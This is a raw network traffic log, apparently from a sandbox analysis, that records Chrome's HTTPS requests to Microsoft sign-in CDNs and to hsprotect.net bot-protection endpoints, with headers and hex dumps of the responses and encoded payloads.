26	192.168.2.4	49787	13.107.246.73	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:33 UTC	401	OUT	GET /shared/5/chunks/oneds-analytics-js_8c01a5c09df43fd8d323.js HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:33 UTC	812	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:33 GMT Content-Type: application/x-javascript Content-Length: 32811 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 09 Aug 2024 21:16:16 GMT ETag: 0x8DCB8B881B52A8D x-ms-request-id: 3833c618-e01e-002d-6c01-f84f88000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240829T221933Z-165795675762gt5gbs4b9bazh800000002b00000000053hh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-08-29 22:19:33 UTC	15572	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 dc bd 6b 57 db 48 b3 3f fa fe 7c 0a 5b 67 0e 5b 1a 1a c7 86 24 93 d8 51 bc 12 42 26 e4 06 13 c8 65 86 61 b3 84 dd 06 0d 46 f2 48 32 84 60 7f f7 53 bf ea 8b 5a b2 48 f2 ac ff 3e e7 c5 9e 35 c1 ea 8b 5a dd d5 d5 d5 55 d5 55 d5 f7 7e 6d b7 5e a6 59 6b 1a 8f 64 92 cb 56 9c 4c d2 ec 32 2a e2 34 69 cd a6 32 a2 ac 5c ca 56 9a c8 71 be 11 25 d1 f4 a6 88 47 f9 c6 3f f9 c9 a3 51 b7 17 3d 18 75 1f 8f 27 f7 b7 26 e3 47 e3 ad cd ad ce 3f 79 e7 ed ee f6 ce fb 83 9d 4e f1 b5 68 fd 7a ef ff f2 e6 68 a2 c8 e2 51 e1 0d fc 5c 4e 27 9d 6b 79 3a 8b 46 17 db e7 f3 e4 e2 e4 32 8f c7 32 29 e2 e2 e6 24 8f f3 39 a5 a3 f0 a7 6a 2d 16 47 c7 41 67 36 cf cf fd a3 a3 fb bf f5 8e c5 6d 6f 73 f3 b7 47 fd c9 3c 19 a1 ff 7e 22 a4 28 82 db a2 93 f9 32 10 45 67 Data Ascii: kWH?\|[g[$QB&eaFH2`SZH>5ZUU~m^YkdVL2*4i2\Vq%G?Q=u'&G?yNhzhQ\N'ky:F22)$9j-GAg6mosG<~"(2Eg
2024-08-29 22:19:33 UTC	16384	IN	Data Raw: cf ff a0 97 d4 c3 ff 5f fb 97 38 c7 e0 1a bc c6 7d 7c b5 77 72 dd d3 bd 33 7d 33 7b d2 f0 af f8 08 27 9e c7 f6 a1 8f bf 95 e6 a9 63 ae bb 8a 8d 23 42 03 78 ba d1 1b d2 6f df c9 3d d1 b9 27 9e 3a 29 60 36 23 0d 6b 5c 14 6d 03 e9 6c 3e 25 02 be 37 83 d9 2d 11 cd 83 9b 9c e4 87 dd 64 92 1a 38 f3 86 57 84 26 9c 3e 73 a0 36 2a 0a 4c dd 9c 84 e7 c1 fc b4 cc 41 c0 d2 4a 15 95 a1 ae cf c8 0c f7 e3 f6 aa 7a a9 9a 4c dd 4b d5 cc 2c c2 19 95 27 ad c3 0c ac 02 34 25 6c a8 8d a2 93 aa bb 9b 3b 79 79 35 89 06 0d e5 55 ea b9 33 9a 55 79 2d 12 23 95 ab 71 4a 72 de 15 62 ed a5 b4 e9 a6 10 8e 13 de ea d5 2f 9a 4f 55 8c 92 b8 43 b8 55 e0 0e 4d 8e 1b ab de 76 32 49 62 8c 88 30 da ab e9 9c fb e8 ca b3 7b 75 5a 4d fc 90 b2 ac 4d 7f cc 9d 74 ef e0 4c b4 0d 5d c7 5c 4f af 4f 71 Data Ascii: _8}\|wr3}3{'c#Bxo=':)`6#k\ml>%7-d8W&>s6*LAJzLK,'4%l;yy5U3Uy-#qJrb/OUCUMv2Ib0{uZMMtL]\OOq
2024-08-29 22:19:33 UTC	855	IN	Data Raw: a1 00 34 b8 17 af d3 b1 2e a6 35 fe 2a df b3 9b e8 24 4d 77 d3 e4 4a 76 f8 a6 d0 09 3d 82 36 07 40 c4 5e 1e 85 09 c2 7b be 29 51 5e f1 01 6b cf 55 6d 0c 88 6d a5 49 af aa 3b 83 02 35 da 35 fd d2 55 df 5c 26 38 98 04 e2 b2 e8 04 50 f6 01 2c a1 5c 6d ea 3b c5 95 df e2 7c 04 b4 35 27 15 5a 6d 39 fb 6e e5 10 56 53 5b 2d ee d0 86 d6 98 e0 b5 63 78 83 0d 68 69 4e b3 b1 99 8d 0d 4b 9c f3 8b 46 42 72 d5 3a 30 f0 75 d0 4c 21 a1 55 5a 9f 9d a1 19 67 cd 3a ad 9c 93 e4 b5 75 83 1c 10 ef 06 47 92 af 7d 0d af 14 7e dd 49 2e d3 83 e4 94 7e c5 30 0e 2d 09 27 d8 35 c7 46 be a6 b5 b0 7d 34 ac 3a 5a 86 e3 24 9e 4c e0 de 0e b2 78 02 84 48 38 c4 a9 cc 32 40 a0 f6 5c e7 45 44 e8 56 5a 7c 35 22 e1 68 23 46 af 6b be 7c 7e c3 b7 ba 6f b1 cf 32 05 52 f6 1b cd 02 f6 c0 3a 6e 10 f5 Data Ascii: 4.5*$MwJv=6@^{)Q^kUmmI;55U\&8P,\m;\|5'Zm9nVS[-cxhiNKFBr:0uL!UZg:uG}~I.~0-'5F}4:Z$LxH82@\EDVZ\|5"h#Fk\|~o2R:n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49793	34.107.199.61	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:35 UTC	591	OUT	GET /ns?c=c508f7c0-6654-11ef-bfad-e329fde88b25 HTTP/1.1 Host: stk.hsprotect.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://msft.hsprotect.net Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://msft.hsprotect.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:35 UTC	153	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:34 GMT Content-Type: text/html Content-Length: 244 Access-Control-Allow-Origin: * Connection: close
2024-08-29 22:19:35 UTC	244	IN	Data Raw: 38 37 63 64 66 39 61 36 31 65 36 64 37 31 64 62 65 64 66 36 39 33 37 38 37 63 62 36 34 65 32 35 33 32 37 35 30 61 30 34 64 66 31 33 62 65 63 61 36 62 31 31 31 31 61 39 33 62 32 61 62 61 61 63 38 66 64 37 35 34 33 63 64 62 62 36 62 35 64 33 36 36 37 37 33 39 38 64 64 38 63 62 33 66 38 37 34 34 66 30 32 36 65 32 33 64 36 61 33 31 35 64 66 34 63 63 36 66 66 66 34 33 66 32 64 38 66 33 35 33 33 33 62 37 61 36 31 33 63 36 38 64 35 39 63 65 34 35 62 36 31 31 34 39 66 31 30 33 31 31 30 39 31 64 33 36 38 65 36 37 34 31 64 35 61 62 30 65 62 30 38 35 30 31 36 38 31 62 37 66 36 64 62 30 30 65 65 33 39 39 31 63 65 39 33 35 31 64 65 31 66 66 39 32 36 64 30 61 34 64 32 39 33 65 63 64 30 37 31 34 62 66 35 63 61 30 66 63 30 63 63 30 61 64 Data Ascii: 87cdf9a61e6d71dbedf693787cb64e2532750a04df13beca6b1111a93b2abaac8fd7543cdbb6b5d36677398dd8cb3f8744f026e23d6a315df4cc6fff43f2d8f35333b7a613c68d59ce45b61149f10311091d368e6741d5ab0eb08501681b7f6db00ee3991ce9351de1ff926d0a4d293ecd0714bf5ca0fc0cc0ad

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49794	35.190.10.96	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:35 UTC	649	OUT	POST /api/v2/msft HTTP/1.1 Host: collector-pxzc5j78di.hsprotect.net Connection: keep-alive Content-Length: 612 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-type: application/x-www-form-urlencoded Accept: / Origin: https://msft.hsprotect.net Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://msft.hsprotect.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:35 UTC	612	OUT	Data Raw: 70 61 79 6c 6f 61 64 3d 61 55 6b 51 52 68 41 49 45 48 46 30 56 55 68 36 57 51 4a 4b 66 46 74 5a 44 78 41 65 45 46 59 51 43 45 6b 51 64 47 63 44 52 32 45 44 66 31 74 6f 58 45 55 50 45 41 67 51 57 6b 5a 47 51 6b 45 49 48 52 31 66 51 56 52 47 48 46 70 42 51 6b 42 64 52 6c 64 52 52 68 78 63 56 30 59 64 57 31 78 57 56 30 6f 63 57 6b 5a 66 58 68 41 65 45 46 4e 67 58 6d 46 36 53 30 70 4c 61 6c 74 64 44 78 41 49 41 78 34 51 59 31 34 48 42 33 56 7a 55 55 68 52 63 58 73 50 45 41 67 51 5a 56 74 63 41 51 41 51 48 68 42 54 41 31 5a 6a 5a 32 45 43 41 57 70 31 64 77 38 51 43 41 49 65 45 47 5a 65 65 41 4e 30 63 31 55 5a 56 45 74 72 44 78 41 49 41 41 63 46 42 68 47 34 51 5e 66 58 4e 53 61 64 6d 5a 63 41 31 68 68 41 57 4d 50 45 41 67 42 42 41 49 43 48 68 42 39 63 31 70 32 Data Ascii: payload=aUkQRhAIEHF0VUh6WQJKfFtZDxAeEFYQCEkQdGcDR2EDf1toXEUPEAgQWkZGQkEIHR1fQVRGHFpBQkBdRldRRhxcV0YdW1xWV0ocWkZfXhAeEFNgXmF6S0pLaltdDxAIAx4QY14HB3VzUUhRcXsPEAgQZVtcAQAQHhBTA1ZjZ2ECAWp1dw8QCAIeEGZeeAN0c1UZVEtrDxAIAAcFBhG4Q^fXNSadmZcA1hhAWMPEAgBBAICHhB9c1p2
2024-08-29 22:19:35 UTC	400	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:34 GMT Content-Type: application/json; charset=utf-8 Content-Length: 840 Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Access-Control-Allow-Origin: https://msft.hsprotect.net Timing-Allow-Origin: * Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-08-29 22:19:35 UTC	840	IN	Data Raw: 7b 22 64 6f 22 3a 6e 75 6c 6c 2c 22 6f 62 22 3a 22 59 47 42 67 59 47 42 67 63 32 77 36 62 47 30 34 4f 54 35 71 49 6a 6b 35 4f 6a 73 69 50 6a 35 71 61 53 4a 75 50 54 74 70 49 6a 6b 33 61 32 77 35 4f 32 34 34 50 47 78 72 61 6e 46 78 63 58 46 67 59 44 34 2b 59 47 42 7a 62 48 70 78 63 58 46 78 50 6d 42 67 59 47 41 2b 63 7a 73 33 50 6a 30 37 4f 7a 30 37 4f 7a 34 39 4f 54 6b 39 50 44 59 32 4f 44 67 37 63 58 46 78 63 57 41 2b 50 6a 35 67 59 44 35 67 63 7a 34 34 50 54 73 32 4f 54 59 32 4f 44 6f 38 4f 44 6c 78 63 58 46 78 50 6a 34 2b 59 44 35 67 63 32 78 39 4e 32 6b 34 65 33 31 6b 61 54 35 6e 62 48 35 36 5a 6a 6c 72 50 6e 31 6f 63 58 46 78 63 57 41 2b 50 6a 35 67 59 47 41 2b 63 7a 6b 34 4f 44 6c 78 63 58 46 78 59 44 34 2b 59 44 34 2b 59 44 35 7a 62 44 70 73 62 54 Data Ascii: {"do":null,"ob":"YGBgYGBgc2w6bG04OT5qIjk5OjsiPj5qaSJuPTtpIjk3a2w5O244PGxranFxcXFgYD4+YGBzbHpxcXFxPmBgYGA+czs3Pj07Oz07Oz49OTk9PDY2ODg7cXFxcWA+Pj5gYD5gcz44PTs2OTY2ODo8ODlxcXFxPj4+YD5gc2x9N2k4e31kaT5nbH56ZjlrPn1ocXFxcWA+Pj5gYGA+czk4ODlxcXFxYD4+YD4+YD5zbDpsbT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49796	13.107.246.60	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:35 UTC	599	OUT	GET /images/favicon.ico?v=2 HTTP/1.1 Host: acctcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:35 UTC	736	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:35 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=604800 Last-Modified: Thu, 29 Aug 2024 12:09:58 GMT ETag: 0x8DCC823804011B0 x-ms-request-id: af81d46e-d01e-00e1-7a2b-fa9fc9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240829T221935Z-16579567576rhxz5kgqdm3tfq000000002f000000000vnwr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-08-29 22:19:35 UTC	15648	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-08-29 22:19:35 UTC	1526	IN	Data Raw: 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 Data Ascii: @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49798	34.107.199.61	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:36 UTC	382	OUT	GET /ns?c=c508f7c0-6654-11ef-bfad-e329fde88b25 HTTP/1.1 Host: stk.hsprotect.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:36 UTC	153	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:35 GMT Content-Type: text/html Content-Length: 244 Access-Control-Allow-Origin: * Connection: close
2024-08-29 22:19:36 UTC	244	IN	Data Raw: 61 32 66 35 38 65 61 64 30 63 35 39 32 64 37 32 31 30 61 63 37 61 30 62 34 35 62 34 66 63 65 62 36 61 39 65 32 66 35 36 37 37 33 61 35 38 62 62 35 36 61 32 35 35 64 35 30 63 32 37 31 31 61 37 61 30 66 39 39 37 62 35 64 35 31 62 62 62 65 32 39 36 64 64 39 64 37 63 35 38 35 33 30 39 36 63 33 61 62 63 63 32 37 65 63 36 61 65 64 31 63 39 31 34 30 31 61 63 65 39 66 35 37 33 65 38 30 39 38 33 34 32 33 37 30 37 32 66 30 35 34 30 65 36 38 63 35 64 33 32 61 35 38 32 33 64 37 35 38 64 37 64 39 64 32 61 65 30 63 65 32 33 62 64 62 38 62 65 62 30 31 63 34 66 64 61 66 30 30 65 37 62 39 36 65 64 32 66 33 36 30 32 31 34 64 37 61 62 65 31 38 31 66 36 65 66 61 30 32 37 66 61 63 66 61 64 32 66 32 33 61 31 38 33 62 66 63 37 38 32 32 38 34 30 Data Ascii: a2f58ead0c592d7210ac7a0b45b4fceb6a9e2f56773a58bb56a255d50c2711a7a0f997b5d51bbbe296dd9d7c5853096c3abcc27ec6aed1c91401ace9f573e809834237072f0540e68c5d32a5823d758d7d9d2ae0ce23bdb8beb01c4fdaf00e7b96ed2f360214d7abe181f6efa027facfad2f23a183bfc7822840

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49799	35.190.10.96	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:36 UTC	369	OUT	GET /api/v2/msft HTTP/1.1 Host: collector-pxzc5j78di.hsprotect.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:36 UTC	284	IN	HTTP/1.1 405 Method Not Allowed Date: Thu, 29 Aug 2024 22:19:35 GMT Content-Type: application/json; charset=utf-8 Content-Length: 31 Allow: POST, HEAD, OPTIONS Timing-Allow-Origin: * Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-08-29 22:19:36 UTC	31	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 22 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 22 7d 0a Data Ascii: {"error":"Method Not Allowed"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49800	13.107.246.60	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:36 UTC	364	OUT	GET /images/favicon.ico?v=2 HTTP/1.1 Host: acctcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:36 UTC	736	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:36 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=604800 Last-Modified: Thu, 29 Aug 2024 04:56:25 GMT ETag: 0x8DCC7E6EF615BFC x-ms-request-id: 7a631870-e01e-0053-41dc-f960b8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240829T221936Z-16579567576h9nndaeer0cv35w00000002eg000000003t00 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-08-29 22:19:36 UTC	15648	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-08-29 22:19:36 UTC	1526	IN	Data Raw: 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 Data Ascii: @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49801	35.190.10.96	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:36 UTC	650	OUT	POST /api/v2/msft HTTP/1.1 Host: collector-pxzc5j78di.hsprotect.net Connection: keep-alive Content-Length: 8831 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-type: application/x-www-form-urlencoded Accept: / Origin: https://msft.hsprotect.net Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://msft.hsprotect.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:36 UTC	8831	OUT	Data Raw: 70 61 79 6c 6f 61 64 3d 61 55 6b 51 52 68 41 49 45 46 42 36 59 32 70 52 57 31 31 72 64 31 6c 7a 44 78 41 65 45 46 59 51 43 45 6b 51 5a 47 4d 43 52 33 46 4b 66 46 56 37 5a 6c 55 50 45 41 67 44 42 51 41 47 43 77 51 4c 43 77 55 48 41 51 55 45 48 68 42 2f 41 41 70 37 65 57 70 6e 63 48 42 77 58 51 38 51 43 42 41 47 43 67 4d 41 42 67 59 41 42 67 59 44 41 41 51 45 41 41 45 4c 43 77 55 46 42 68 41 65 45 41 34 43 43 77 67 4f 44 67 67 4f 44 67 73 49 44 41 77 49 43 51 4d 44 44 51 30 4f 45 41 67 51 41 51 30 45 42 77 45 42 42 77 45 42 42 41 63 44 41 77 63 47 44 41 77 43 41 67 45 51 48 68 42 69 41 48 39 33 65 47 70 64 66 58 5a 67 66 77 38 51 43 41 51 46 42 51 51 65 45 47 55 43 55 56 56 6a 59 41 4a 66 65 58 70 7a 44 78 41 49 41 77 41 4b 41 68 34 51 61 48 70 46 56 46 64 Data Ascii: payload=aUkQRhAIEFB6Y2pRW11rd1lzDxAeEFYQCEkQZGMCR3FKfFV7ZlUPEAgDBQAGCwQLCwUHAQUEHhB/AAp7eWpncHBwXQ8QCBAGCgMABgYABgYDAAQEAAELCwUFBhAeEA4CCwgODggODgsIDAwICQMDDQ0OEAgQAQ0EBwEBBwEBBAcDAwcGDAwCAgEQHhBiAH93eGpdfXZgfw8QCAQFBQQeEGUCUVVjYAJfeXpzDxAIAwAKAh4QaHpFVFd
2024-08-29 22:19:36 UTC	400	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:36 GMT Content-Type: application/json; charset=utf-8 Content-Length: 848 Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Access-Control-Allow-Origin: https://msft.hsprotect.net Timing-Allow-Origin: * Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-08-29 22:19:36 UTC	848	IN	Data Raw: 7b 22 64 6f 22 3a 6e 75 6c 6c 2c 22 6f 62 22 3a 22 50 6d 41 2b 59 44 35 67 63 31 42 2f 64 7a 78 7a 50 44 77 2f 63 7a 74 71 61 57 31 74 4f 7a 73 2f 50 6a 70 72 61 54 6b 37 4f 32 35 73 61 7a 73 38 4e 6a 77 39 62 44 67 33 4e 6a 63 37 4e 6d 70 73 4f 54 77 35 61 6a 67 2f 4f 7a 34 38 4e 6a 77 34 61 7a 39 71 62 54 6c 75 50 7a 64 72 62 57 6c 74 62 44 6f 38 4f 32 73 39 4f 7a 67 31 50 45 46 44 59 57 31 2f 51 56 67 67 53 56 35 4e 64 6b 4e 62 65 31 64 4c 57 53 42 62 59 55 51 2f 4e 7a 78 73 5a 45 6c 34 54 58 30 38 59 55 70 59 50 54 31 35 59 48 31 63 50 47 52 64 56 57 6c 59 59 48 78 43 52 46 5a 45 65 55 4e 6e 53 55 5a 74 56 32 5a 31 65 58 38 32 50 45 78 37 59 33 30 2b 57 6b 51 2b 58 48 70 4b 50 45 35 66 65 46 6c 4a 4e 6d 67 79 4d 6a 55 2b 50 7a 38 2f 4e 55 35 71 4f 45 Data Ascii: 